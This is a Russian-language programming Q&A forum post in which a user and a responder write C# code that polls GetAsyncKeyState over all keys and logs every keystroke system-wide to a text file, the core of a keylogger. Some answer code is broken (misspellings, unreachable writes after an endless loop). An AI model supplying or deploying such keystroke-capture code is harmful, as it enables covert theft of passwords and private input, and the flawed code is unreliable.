C# - Как сохранить каждое нажатие клавиши построчно в файл - PullRequest
1 голос
/ 03 апреля 2020

Я делаю программу, чтобы каждая нажатая клавиша сохранялась в текстовый файл. Моя цель - сохранить каждое нажатие клавиши в новой строке, поэтому, например, если вы нажмете «x», а затем «y», я хочу, чтобы этот «x» был сохранен в первой строке, а «y» - во второй.

           while (true)
        {
            Thread.Sleep(10);
            for (int i = 0; i < 255; i++)
            {
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767)
                {
                    Console.WriteLine((Keys)i);
                    string key = Convert.ToString((Keys)i);
                    //StreamWriter writer = new StreamWriter(pathTxt); <-- this is what I have tried but it's all the time replacing keystroke in first line
                    //writer.WriteLine(key + Enviroment.NewLine);
                    //writer.Close();
                    break;
                }
            }
        }

Что я пробовал:

Моя цель - сохранить каждое нажатие клавиши в новом линия.

1 Ответ

2 голосов
/ 03 апреля 2020

Вы можете использовать код, как показано ниже. у нас должен быть открыт потоковый модуль, а затем внутри l oop, вы можете написать, когда закончите, вы можете flu sh поток и закрыть для сохранения на диск (файл)

Подход-1

using(StreamWriter writer = new StreamWriter(pathTxt)) {
    while (true)
    {
        Thread.Sleep(10);
        for (int i = 0; i < 255; i++)
        {
            int keyState = GetAsyncKeyState(i);
            if (keyState == 1 || keyState == -32767)
            {
                Console.WriteLine((Keys)i);
                string key = Convert.ToString((Keys)i);
                writer.WriteLine(key + Enviroment.NewLine);

                break;
            }
        }
    }
    writer.Flush();
    writer.Close();
}

Подход2-Эффективный Наилучшим подходом будет использование StringBuilder, добавление каждого нажатия клавиши и, наконец, запись в файл.

StringBuilder keyStrokes = new StringBuilder();
while (true)
{
    Thread.Sleep(10);
    for (int i = 0; i < 255; i++)
    {
        int keyState = GetAsyncKeyState(i);
        if (keyState == 1 || keyState == -32767)
        {
            Console.WriteLine((Keys)i);
            string key = Convert.ToString((Keys)i);
            keyStrokes.appendLine(key);
            break;
        }
    }
}

using(StreamWriter writer = new StreamWriter(pathTxt)) {
    writer.WriteLine(keyStrokes);
    writer.Flush();
    writer.Close();
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...